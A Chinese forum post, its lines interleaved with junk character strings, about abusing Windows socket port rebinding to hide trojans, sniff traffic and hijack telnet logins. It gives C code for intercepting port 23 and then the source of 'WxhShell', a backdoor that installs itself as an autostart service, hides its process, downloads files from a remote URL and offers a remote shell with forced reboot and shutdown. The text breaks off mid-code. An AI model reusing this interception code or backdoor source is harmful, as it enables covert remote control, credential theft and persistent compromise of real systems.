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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2fBYT4*P;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .\4l'THn,0  
_S<?t9mS  
  saddr.sin_family = AF_INET; Z!)f*  
rIPl6,w~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `r.N  
x vJ^@w'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H /%}R  
2lJZw@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {kG;."S+K  
x~(y "^ph  
  这意味着什么?意味着可以进行如下的攻击: jNqVdP]d\  
^6&_| f  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 UC#"=Xd 4  
<[5#c*A  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u2,H ]-  
LO}z)j~W  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4]u,x`6C  
w=$'Lt!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  JP_kQ  
q-uLA&4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #-dK0<:  
.r*#OUC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >gGil|I  
xx6S`R6:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kpWzMd &RK  
L B<UC?e  
  #include wJ(8}eI  
  #include T8mY#^sW_  
  #include 'W+i[Ep5Q  
  #include    5"e+& zU~f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F%y{% C7l  
  int main() QP<FCmt8  
  { ?GfxBZWJ  
  WORD wVersionRequested; s!i:0}U  
  DWORD ret; 2i"HqAB  
  WSADATA wsaData; {)uU6z {'  
  BOOL val; @oA0{&G{  
  SOCKADDR_IN saddr; #\0TxG5'QA  
  SOCKADDR_IN scaddr; d{l{P] nr  
  int err; Jbkt'Z(&J  
  SOCKET s;  "YD.=s  
  SOCKET sc; 6,3}/hgWJ$  
  int caddsize; P_mi)@  
  HANDLE mt; 2gH _$  
  DWORD tid;   AW62~*  
  wVersionRequested = MAKEWORD( 2, 2 ); mMslWe  
  err = WSAStartup( wVersionRequested, &wsaData ); ?}v}U^  
  if ( err != 0 ) { lnjL7x  
  printf("error!WSAStartup failed!\n"); 0hb/`[Q  
  return -1; CCn/ udp@  
  } lf;~5/%wMG  
  saddr.sin_family = AF_INET; wU.'_SBfB  
   xLZMpP5c  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @,GjeF]!  
tz3]le|ml  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m.Twgin  
  saddr.sin_port = htons(23); %L28$c3p  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u5/t2}^T  
  { r /^'Xj'(  
  printf("error!socket failed!\n"); D|"sE>  
  return -1; h2AGEg'g2[  
  } 2>ys2:z  
  val = TRUE; RpULm1b  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5W|u5AIw  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) DYkC'+TEX  
  { hO%Y{Gg  
  printf("error!setsockopt failed!\n"); we }#Ru*  
  return -1; <TL])@da  
  } $>|?k$(x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cu:-MpE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1"M"h_4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y>%W;r)  
]|t9B/()i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /^~p~HKtx  
  { -S`TEX  
  ret=GetLastError(); .:T9pplq  
  printf("error!bind failed!\n"); \?r$&K]4  
  return -1; jm4)gmC  
  } sK#H4y+<  
  listen(s,2); iY}QgB< M  
  while(1) |^>u<E5  
  { IC\E,m  
  caddsize = sizeof(scaddr); oy`3r5g   
  //接受连接请求 {a[&#Uv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l<s :%%CX  
  if(sc!=INVALID_SOCKET) " S ?Km  
  { _dJp 3D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ys/`{:w8p  
  if(mt==NULL) MkkA{p  
  { F{kG  
  printf("Thread Creat Failed!\n"); 6|%^pjX5  
  break; [2=^C=52  
  } <xXiJU+  
  } m9%yR"g9  
  CloseHandle(mt);  {`tHJ|8  
  } yY'gx|\  
  closesocket(s); Q3(hK<Qh;  
  WSACleanup(); d$4WK)U  
  return 0; ]~$c~*0g  
  }   gv`%Z8u(  
  DWORD WINAPI ClientThread(LPVOID lpParam) U`:lAG  
  { 8u4gx<;O  
  SOCKET ss = (SOCKET)lpParam; q$ bHO  
  SOCKET sc; i?lX,9%  
  unsigned char buf[4096]; /DK*y S  
  SOCKADDR_IN saddr; ?Ozk^#H[  
  long num; i:MlD5 F  
  DWORD val; l kI8 {  
  DWORD ret; [^h/(a`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 oZ?IR#^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qxRT1B]{Wx  
  saddr.sin_family = AF_INET; 3S;>ki4(0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); muW`pm  
  saddr.sin_port = htons(23); Bi'I18<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,oC= {^l{  
  { 5hlJbWJa  
  printf("error!socket failed!\n"); kt;}]O2%R  
  return -1; q] 2}UuM|U  
  } Sr4dY`V*:z  
  val = 100; UDhwnGTq(l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _HSTiJVr  
  { FRb&@(;  
  ret = GetLastError(); mMel,iK=  
  return -1; /%2:+w  
  } \Sz4Gr0g3Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \Mobq  
  { ---Ks0\V  
  ret = GetLastError(); BnY\FQ)K  
  return -1; V5hp Y ]  
  } ?FkQe~FN{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N:m@D][/sW  
  { JrY"J]/  
  printf("error!socket connect failed!\n"); 9{au leu R  
  closesocket(sc); R^n* o  
  closesocket(ss); 9\\@I =;  
  return -1; ~ nLkn#Z  
  }  f'7 d4  
  while(1) .Y=Z!Q  
  { iKP\/LR<n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pZni,< Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SQz$kIZR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g?k#wj1uH  
  num = recv(ss,buf,4096,0); WM~J,`]J  
  if(num>0) }TXp<E"\  
  send(sc,buf,num,0); jM|YW*zNZ  
  else if(num==0) PM#$H  
  break; V\e13cL]  
  num = recv(sc,buf,4096,0); iKR8^sj7S  
  if(num>0) g_-?h&W  
  send(ss,buf,num,0); X3&SL~&>g  
  else if(num==0) fRca"vV  
  break; m-~V+JU;x  
  } CDwFVR'_Af  
  closesocket(ss); F[Guy7?O  
  closesocket(sc); eSQzjR*  
  return 0 ; A8A:@-e8A  
  } KT]J,b  
*!wO:< -  
.3S\Rrv  
========================================================== ,_wm,  
-(%ar%~Zd  
下边附上一个代码,,WXhSHELL p@!@^1j=  
3Vb=6-|  
========================================================== LOyCx/n  
< e7<t9  
#include "stdafx.h" s$2l"|h>B  
LZZ:P  
#include <stdio.h> y~4SKv $  
#include <string.h> l,^i5t'  
#include <windows.h> 8Izn'>"  
#include <winsock2.h> V PLCic,T  
#include <winsvc.h> VR5e CJ:i  
#include <urlmon.h> }uV?  
[~Z'xY y  
#pragma comment (lib, "Ws2_32.lib") $Hl+iF4j<  
#pragma comment (lib, "urlmon.lib") l&e5_]+%  
? bUpK  
#define MAX_USER   100 // 最大客户端连接数 ]%WD} 4e  
#define BUF_SOCK   200 // sock buffer }]Gi@Nh|o  
#define KEY_BUFF   255 // 输入 buffer >yPFL'  
Bsih<`KF^  
#define REBOOT     0   // 重启 S1x.pLHj8  
#define SHUTDOWN   1   // 关机 *'AS^2'  
h1G*y  
#define DEF_PORT   5000 // 监听端口 Cnc\sMDJ\B  
<?=mLOo =  
#define REG_LEN     16   // 注册表键长度 E<98ahZ?l  
#define SVC_LEN     80   // NT服务名长度 tNi% }~Z  
Tvksf!ba  
// 从dll定义API pJ)+}vascR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  '!r+Tz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jfixm=.6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9FIe W[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jU3;jm.)  
f>"!-3  
// wxhshell配置信息 c],frhmyd  
struct WSCFG { :+?W  
  int ws_port;         // 监听端口 08d_DCR  
  char ws_passstr[REG_LEN]; // 口令 ^! v}  
  int ws_autoins;       // 安装标记, 1=yes 0=no #<PA- y  
  char ws_regname[REG_LEN]; // 注册表键名 35N/v G0  
  char ws_svcname[REG_LEN]; // 服务名  7KSGG1ts  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n'&`9M['%d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #)h ~.D{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  HN~v&,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9qu24zz$P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %t5BB$y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bCaPJ!ZO  
4 HJZ^bq9|  
}; vwqN;|F  
kUaGok?  
// default Wxhshell configuration mC[U)` ey  
struct WSCFG wscfg={DEF_PORT, *n|0\V<  
    "xuhuanlingzhe", tci%=3,)  
    1, HC;I0&v>  
    "Wxhshell", 8t*%q+Z  
    "Wxhshell", 5w [=  
            "WxhShell Service", mB|mt+  
    "Wrsky Windows CmdShell Service", M_e$l`"G  
    "Please Input Your Password: ", *|gs-<[#X  
  1, eV {FcJha  
  "http://www.wrsky.com/wxhshell.exe", zcD_}t_K  
  "Wxhshell.exe" tM PX vE  
    }; L/iVs`qF  
% Dr4~7=7a  
// 消息定义模块 a@_Cx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e ka@?`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :?:j$ =nWN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,O&PLr8cJ?  
char *msg_ws_ext="\n\rExit."; ^ yukn*L  
char *msg_ws_end="\n\rQuit."; F#}1{$)% /  
char *msg_ws_boot="\n\rReboot..."; N;`[R>Z~  
char *msg_ws_poff="\n\rShutdown..."; K9qEi{[  
char *msg_ws_down="\n\rSave to "; s eZ<52f2  
*_).UAP.  
char *msg_ws_err="\n\rErr!"; ?m_RU  
char *msg_ws_ok="\n\rOK!"; c!u}KVH  
|C)UZ4A/p  
char ExeFile[MAX_PATH]; PVkN3J  
int nUser = 0; PqJ*   
HANDLE handles[MAX_USER]; o"ah\"#el  
int OsIsNt; ~ Dp:j*H  
:rs\ydDUF  
SERVICE_STATUS       serviceStatus; `j!2uRFe>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N7I71q|  
1={Tcq\]  
// 函数声明 4(0t GF  
int Install(void); {EoyMJgz  
int Uninstall(void); noUZ9M|hz  
int DownloadFile(char *sURL, SOCKET wsh); cVHE}0Xd(  
int Boot(int flag); %}ApO{  
void HideProc(void); YT(1 "{:  
int GetOsVer(void); 9X {nJ"  
int Wxhshell(SOCKET wsl); % 6hw  
void TalkWithClient(void *cs); Y7t{4P  
int CmdShell(SOCKET sock); hte9l)  
int StartFromService(void); c>i*HN}Z|  
int StartWxhshell(LPSTR lpCmdLine); ox=7N{+`J  
F)5B[.ce  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~h^}W$pO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); if!`Qid  
;`PkmAg  
// 数据结构和表定义 ,nChwEn  
SERVICE_TABLE_ENTRY DispatchTable[] = `)C`_g3Ew  
{ &<P^Tvqq&  
{wscfg.ws_svcname, NTServiceMain}, v yLAs;  
{NULL, NULL} v.2Vg  
}; F/od,w9_  
~q T1<k  
// 自我安装 Oc/_ T>  
int Install(void) }B '*8^S  
{ b`W'M :$  
  char svExeFile[MAX_PATH]; ?^$4)Y>Kf  
  HKEY key; ^.1VhTB  
  strcpy(svExeFile,ExeFile); BfE-s<  
-J7,Nw  
// 如果是win9x系统,修改注册表设为自启动 c'#J{3d  
if(!OsIsNt) {   6[|<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,f0g|5yDf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); //u76nQ  
  RegCloseKey(key); 7(g&z%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q>:&xR"ra  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rD U6 5j  
  RegCloseKey(key); 5<?c_l9X^  
  return 0; .yfqS|(  
    } <&0*5|rR  
  } Q%VR@[`\  
} 2au(8IWu  
else { j _9<=Vu  
p,u<g JUL  
// 如果是NT以上系统,安装为系统服务 IZv, Wo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S1= JdN  
if (schSCManager!=0) {ZM2WFpE  
{ PW//8lsR  
  SC_HANDLE schService = CreateService -zLI!F 0  
  ( {i}Q}OgYq  
  schSCManager, ftU5 A@(T  
  wscfg.ws_svcname, Hr*Pi3dSI  
  wscfg.ws_svcdisp, YB3=ij!K  
  SERVICE_ALL_ACCESS, s1\BjSzk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M Hyl=5  
  SERVICE_AUTO_START, tMBy ^@p  
  SERVICE_ERROR_NORMAL, *^+xcG  
  svExeFile, [5eT|uy  
  NULL, Hh;6B!zb+  
  NULL, g?AqC  
  NULL, J$/BH\  
  NULL, wBHDof xX  
  NULL [gdPHXs  
  ); zomNjy*  
  if (schService!=0) 'CO[s.03  
  { u\geD  
  CloseServiceHandle(schService); \ J:T]  
  CloseServiceHandle(schSCManager); *=9#tYn~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U@5Z9/n{  
  strcat(svExeFile,wscfg.ws_svcname); UYrzsUjg&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h}&IlDG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N_Ld,J%g  
  RegCloseKey(key); OwIy(ukTI  
  return 0; 9Zsb1 M!n>  
    } 8si^HEQ8  
  } ~[y+B0I3  
  CloseServiceHandle(schSCManager); rPpAg  
} ({nSs5)$  
} Od]xIk+E  
\` ^Tbn:  
return 1; fToI,FA  
} 5 t?2B]  
VX[!Vh  
// 自我卸载 TC{Qu;`H+U  
int Uninstall(void) l4reG:uYG  
{ xi. KD  
  HKEY key; V(uRKu x  
Z2jb>%  
if(!OsIsNt) { `80Hxp@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aB!Am +g  
  RegDeleteValue(key,wscfg.ws_regname); Z|S7 " ,  
  RegCloseKey(key); 32P]0&_O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &*GX:0=/>  
  RegDeleteValue(key,wscfg.ws_regname); 5w{pX1z1  
  RegCloseKey(key);  A;x^6>  
  return 0; oz-I/g3go  
  } :=eUNH  
} ucPMT0k  
} &it/@8yH  
else { (+ anTA=  
:Rj,'uH+h)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {leG~[d  
if (schSCManager!=0) aBi:S3 qk  
{ J}\]<aC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4F6o  
  if (schService!=0) /-4B)mL  
  { %\&dFwb  
  if(DeleteService(schService)!=0) { wx5*!^&j  
  CloseServiceHandle(schService); + qqN  
  CloseServiceHandle(schSCManager); #e>MNc 'z  
  return 0; M?zAkHNS$  
  } P$Ru NF  
  CloseServiceHandle(schService); a\_,_psK  
  } Vdk+1AX  
  CloseServiceHandle(schSCManager); 3F!+c 8e  
} ]sAD5<;  
} bI(98V,t  
E}&jtMRUt  
return 1; }_;!E@  
}  yE,o~O  
r/L]uSN  
// 从指定url下载文件 &:K?-ac  
int DownloadFile(char *sURL, SOCKET wsh) *7ro [  
{ ?} tQaj  
  HRESULT hr; {K8T5zrV  
char seps[]= "/"; ;}'<`(f&nX  
char *token; w/6@R 4)p  
char *file; hAyPaS#  
char myURL[MAX_PATH]; lIP<`6=4  
char myFILE[MAX_PATH]; IuW10}"9  
(SA*9%  
strcpy(myURL,sURL); L]<4{8H.  
  token=strtok(myURL,seps); ZS_f',kE  
  while(token!=NULL) Z"+!ayA7D  
  { oF xVK  
    file=token; k"{U}Y/}  
  token=strtok(NULL,seps); CHI(\DXNs  
  } ;g]+MLV9  
r^^C9"  
GetCurrentDirectory(MAX_PATH,myFILE); 1Di&vpn0u  
strcat(myFILE, "\\"); uK5x[m  
strcat(myFILE, file); oH"N>@Vl  
  send(wsh,myFILE,strlen(myFILE),0); N@0scfO6<  
send(wsh,"...",3,0); \"Iy <zG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Dx'e+Bm  
  if(hr==S_OK) dxWw%_Q  
return 0; = g}yA=.  
else c.v)M\:  
return 1; [F EQ@  
?s33x#  
} gwNkjI= ,  
pj]<i.p  
// 系统电源模块 +(%[fW  
int Boot(int flag)  64fG,b  
{ Kjw\SQ)2~  
  HANDLE hToken; #KW:OFT  
  TOKEN_PRIVILEGES tkp;  ?~IZ{!  
'7s!N F2  
  if(OsIsNt) { 54w-yY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Lai"D[N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Shz;)0To  
    tkp.PrivilegeCount = 1; m@~x*+Iz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  U2$T}/@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I r~X#$Upc  
if(flag==REBOOT) { n]Y _C^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }DaYO\:yK*  
  return 0; kM`#U *j  
} 9l]IE,u  
else { 3(5Y-.aK}^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9<S-b |!@  
  return 0; oVW?d]R  
} mM.&c5U  
  } 9G~P)Z!0  
  else { [dMxr9M  
if(flag==REBOOT) { :^a$ve3(Jq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (xL=X%6a  
  return 0; N{g=Pf?I}  
} zhE7+``g  
else { {IWb:p#I]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J~.kb k  
  return 0; qa6~N3*  
} f6 nltZ  
} *gVv74;;  
ez{&Y>n  
return 1; n} {cs  
} LKcrr;  
@HI5; z  
// win9x进程隐藏模块 }R$%MU5::  
void HideProc(void) v<1;1m  
{ NO ^(D+9  
QUf_fe!,|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gp=0;#4 4  
  if ( hKernel != NULL ) o1\8>Ew  
  { &bQ^J%\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0 i"OG( ,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Xl;N= fc  
    FreeLibrary(hKernel); UB}mI0/w  
  } u:ISwAp  
hM}2++V  
return; z/b*]"g,  
} {NR~>=~K-  
7~'@m(9e  
// 获取操作系统版本 2lRZ/xaF%P  
int GetOsVer(void) {y'k wU  
{ d yd_dK/  
  OSVERSIONINFO winfo; jLTs1`I/F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D$HxPfDZ  
  GetVersionEx(&winfo); zeX?]@]Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GCHssw~P'v  
  return 1; .+yJ'*i$d  
  else <FE O6YP  
  return 0; bX,Z<BvbF  
} EX_& wep@1  
Rs wR DLl  
// 客户端句柄模块 =#fqFL,  
int Wxhshell(SOCKET wsl) ^gG,}GTl  
{ RMXP)[  
  SOCKET wsh; ^d,d<Uc  
  struct sockaddr_in client; !?{5ET,gtN  
  DWORD myID; y@I"Hk<T  
+\4=G@P.J  
  while(nUser<MAX_USER) DcS~@ ;  
{ 6%TV X  
  int nSize=sizeof(client); ''G @n*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X`&E,;bIb  
  if(wsh==INVALID_SOCKET) return 1; D$ \ EZ   
$3>|R lxYA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Go4l#6  
if(handles[nUser]==0) 5zU$_M  
  closesocket(wsh); 9V~yK?  
else g:HIiGN0Ic  
  nUser++; 2sngi@\  
  } P+[R0QS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8MIHp[vm%  
Ne%X:h  
  return 0; T~la,>p|}  
} c}A^0,"z>  
AOpfByw  
// 关闭 socket VuGSP]$q  
void CloseIt(SOCKET wsh) YpJzRm{Ra  
{ Hogr#Sn2  
closesocket(wsh); < javZJ  
nUser--; Y3?kj@T`i  
ExitThread(0); %Xn)$Ti ~<  
} HO"(eDW6z  
%uKD cj  
// 客户端请求句柄 =$MV3]  
void TalkWithClient(void *cs) }U9e#>e x  
{ d<]/,BY'  
)j](_kvK  
  SOCKET wsh=(SOCKET)cs; 7r>^_aW  
  char pwd[SVC_LEN]; Ex<loVIrP$  
  char cmd[KEY_BUFF]; I8m(p+Z=  
char chr[1]; /Mv'fich(  
int i,j;  m{~r6@  
YV+e];s  
  while (nUser < MAX_USER) { B6BOy~B0  
@I%m}>4Jm  
if(wscfg.ws_passstr) { b+kb7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X:YxsZQ 5Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z=#!FZ{  
  //ZeroMemory(pwd,KEY_BUFF); "QMHY\C  
      i=0; ^VA)vLj@  
  while(i<SVC_LEN) { _QQO&0Z  
=&vV$UtV  
  // 设置超时 YPN|qn(  
  fd_set FdRead; `|gCbs95  
  struct timeval TimeOut; GFvOrRlP\  
  FD_ZERO(&FdRead); s;bqUY?LD  
  FD_SET(wsh,&FdRead);  BzDS  
  TimeOut.tv_sec=8; T6tJwSS4:  
  TimeOut.tv_usec=0; bcQ$S;U)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K~uoZ~_gA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *Nv<,Br,F  
Xh ?{%?2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T+I|2HYqOj  
  pwd=chr[0]; N7|ctO  
  if(chr[0]==0xd || chr[0]==0xa) { 6uDNqq  
  pwd=0; NS\'o )J  
  break; kM.zX|_  
  } /Z^+K  
  i++; Q~jUZ-qN  
    } @rE>D  
44!bwXz8  
  // 如果是非法用户,关闭 socket E]bjI$j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >scEdeM  
} tYnNOK*|  
xSw ^v6!2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ax&+UxQ0|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +?%huJYK,  
W )\~T:Kn  
while(1) { (|W@p\Q  
GZse8ng  
  ZeroMemory(cmd,KEY_BUFF); K1Uur>Pk%  
dD=dPi#  
      // 自动支持客户端 telnet标准   q?`bu:yS  
  j=0; 0 ~VniF^  
  while(j<KEY_BUFF) { zH.7!jeE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "/K44(^  
  cmd[j]=chr[0]; zT.qNtU%  
  if(chr[0]==0xa || chr[0]==0xd) { U`xjau+  
  cmd[j]=0; >XB Lm`a  
  break; $cjidBi`):  
  } 8xLvpgcZ  
  j++; (R{W Jjj  
    } L.>`;`dmY  
ZZ#S\*  
  // 下载文件 g^=p)h3  
  if(strstr(cmd,"http://")) { p9 %7h.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  IS!sJc  
  if(DownloadFile(cmd,wsh)) moh7:g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nb-;D)W;B  
  else 1I_(!F{Ho  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~h -0rE  
  } c'[l%4U8[  
  else { 5MT$n4zKu  
-r[l{ce  
    switch(cmd[0]) { l9\ *G;  
  t 7+ifSrz  
  // 帮助 LG(bdj"NM  
  case '?': { < yBZsSj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PC/Oo~Gx  
    break; woQYP,  
  } P/4]x@{ih  
  // 安装 [*@"[u   
  case 'i': { 4;x{@Ln  
    if(Install()) UE5T%zd/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S-*4HV_l  
    else tAefBFu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Z0@4_Y@B6  
    break; ml\A)8O]j/  
    } + Uq$'2CT  
  // 卸载 :A>cf}  
  case 'r': { ^As^hY^p  
    if(Uninstall()) >HXT:0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $o0o5 ^Z-  
    else M#UW#+*g!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ) m[0,  
    break; $)mK]57  
    } ]7eQ5[ 5s  
  // 显示 wxhshell 所在路径 5?{a=r9  
  case 'p': { V^[o{'+  
    char svExeFile[MAX_PATH]; hIE$ut +  
    strcpy(svExeFile,"\n\r"); abp]qvCV  
      strcat(svExeFile,ExeFile); ,dP-sD;<  
        send(wsh,svExeFile,strlen(svExeFile),0); *MglX<  
    break; -)PQ&[  
    } Hz `aj  
  // 重启 ^fa+3`>  
  case 'b': { 7E 6gXf.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x=(Q$Hl5  
    if(Boot(REBOOT)) 'gI q_t|^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oSq4g{xvMH  
    else { J4&d6[40  
    closesocket(wsh); "8>T  
    ExitThread(0); kZfa8w L]P  
    } A}W) La\  
    break; !RN(/ &%y  
    } j#rjYiYKy  
  // 关机 /I(IT=kp  
